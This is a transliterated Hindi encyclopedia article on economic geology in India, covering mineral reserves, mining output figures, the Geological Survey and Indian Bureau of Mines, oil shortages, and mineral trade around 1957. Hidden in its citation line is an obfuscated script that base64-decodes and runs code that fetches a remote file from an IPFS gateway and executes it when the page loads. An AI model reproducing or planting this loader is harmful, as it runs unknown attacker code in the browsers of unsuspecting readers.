आर्थिक भौमिकी
arthik bhaumiki bhaumiki ki vah shakha hai jo prithvi ki khanij sanpatti ke sanbandh mean brihath jnan karati hai. prithvi se utpann samast dhatuoan, patthar, koyala, bhootail (petreliyam) tatha any adhatu khanijoan ka adhyayan tatha unaka arthik vivechan arthik bhaumiki dvara hi hota hai. pratyek desh ki samriddhi vahaan ki khanij sanpatti par bahut kuchh nirbhar rahati hai aur is drishti se arthiki bhautiki ka adhyayan aur bhi mahatvapoorn ho jata hai.
yadyapi bharatavarsh prachin samay se hi apani khanij sanpatti ke lie prasiddh raha hai, tathapi kuchh karanoan se yah desh atyant samriddh nahian kaha ja sakata. bharat mean arthik khanij pae jate haian jinamean se lagabhag 16 khanij prachur matra mean upalabdh haian. inamean vishesh kar lauh ayask, maianganiz, abhrak, b aauksait, ilmenait , patthar ke koyale jipsam, choona patthar (laim ston), silimenait, kayanait, kurabiand (korandam), maignesait, mattikaoan adi ke vishal bhaandar haian, kiantu sath hi sath sisa, taanba, jasta, raanga, gandhak tatha mootail adi atyant nyoon matra mean haian. bhootail ka utpadan to itana alp hai ki desh ki aantarik khapat ka keval sat pratishat hi usase poora ho pata hai. ispat utpadan ke lie sare avashyak khanij paryapt kie jate haian unamean in dhatuoan ke abhav ke karan kuchh halki dhatuean, jaise ailyuminiyam ityadi tatha unaki mishr dhatuean upayog mean laee ja sakati hai.
utpadan biandumay rekha se tatha niryat satat rekha se karo d rupayoan mean dikhae ge haian.
bharat mean khanan udyog ka vikas-sanh 1906 mean bharat ke sanpoorn khanij utpadan ka mooly keval 10 karod rupaya tha. us samay pakistan tatha barma bhi bharatiy samrajy ke hi bhag the. isake pashchath khanij udyog nianratar vriddhi karata raha tatha isaki gati svatantrata ke uparaant aur bhi adhik ho gee. yahaan is tathy ko nahian bhoolana chahie ki 20vian shatabdi ke praranbh se isake madhyakal tak khanij ke mooly mean kee guni vriddhi huee hai. sanh 1948 mean utpadit khanijoan ka mooly 64 karo d roope tak pahuancha. vastav mean bharat ke khanij sansadhanoan ka vyavasthit vikas yojana dvara rashtriy sarakar ki sthapana ke sath hi hua aur jaise jaise samay bitata gaya, is disha mean mahanh pragati ke lakshan drishtigochar hone lage tatha 1953 mean 112.78 karo d rupe mooly ke khanij ka utpadan hua. kisi bhi desh ke sansadhanoan ka uchit aur poorn upayog karane ke lie gaveshanakary atyant avashyak hai. 100 varsh se adhik samay bita, jab bharatiy bhaumikiy sarvekshan vibhag ki sthapana huee. isaka mukhy kary desh ke khanij padartho ka anveshan aur anusandhan tatha bhootatvik drishti se sanpoorn desh ki samiksha aur vistrit jnan karana tha. svatantrata ke pashchath khanij udyog ke lie bharat sarakar ki jagarook niti ke parinamasvaroop sanh 1948 mean bharatiy khanij vibhag (iandiyan byooro aauv mains) ki sthapana huee. isaka kary ek sunishchim yojana ke aantargat vibhinn khanijoan ke bhaandaroan ki khoj evan nirdharan, khananapaddhatiyoan ke sudhar, adhik thos adhar par aank doan ka sangrah tatha khanijoan ke samuchit upayog ke lie gaveshana ki vyavastha hai. yah sanstha desh mean khanan udyog ki samasyaoan ka nirakaran tatha navin upayogi sujhav dekar udyog ki vriddhi karane mean bhi sahayak siddh huee hai. is sanstha mean kee prabhag hai. paramanu-shakti-ayog (aitamik enarji kamishan) ke aantargat bhi 'paramanu-shakti-khanijaprabhag' sthapit kiya gaya hai. bharat mean mrittail ka atyant abhav hai. at: bharat sarakar ne is aur poorn roop se vishesh ruchi dikhaee hai. yadyapi desh mrittail ke lie apane hi par sanbhavat: kabhi nirbhar n ho sakega. tathapi tail ke kuchh any bhaandar prapt hone ki sanbhavit sthanoan par samanveshan karane tatha usake sanbandh mean poorn janakari prapt karane ke lie bharat sarakar ke 'prakritik sadhan aur vaijnanik anusandhan' mantralay (ministri aauv naichural risorsez aiand saiantiphik risarch) ne ek tail evan prakritik gais ayog namak sastha ko janm diya hai. patthar ke koyale se bhi vanijy ke star par sanshleshit bhootail (sianthetik petreliyam) nirman karane ki yojanoan par vichar chal raha hai. hal mean khanbat (gujarat) mean prakritik bhootail mila hai.
khanijoan ka ayat evan niryat-bharat ko alauh dhatuoan, gandhak, potash, graiphait adi ki avashyakata ki poorti ke lie ayat par nirbhar rahana p data he. sanh 1957 mean lagabhag do arab rupaya khanijoan ke ayat mean vyay hua . yadi isamean khanij tatha eedhan tail adi ke ayat ka mooly sammilit kiya jae to yah tin arab sadhe sat karo d roope se bhi adhik ho jaega jo sanpoorn ayat ka 30 pratishat hai. kuchh mahatvapoorn khanij, jaise maianganiz ayask, lauh ayask, patthar ka koyala, abhrak, ilmenait, silimenait tatha lavan adi, videshoan ko niryat kie jate haian. khanijoan ke niryat dvara sanh 1957 mean 64 karo d 10 lakh rupaya prapt hua tha.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 433-34 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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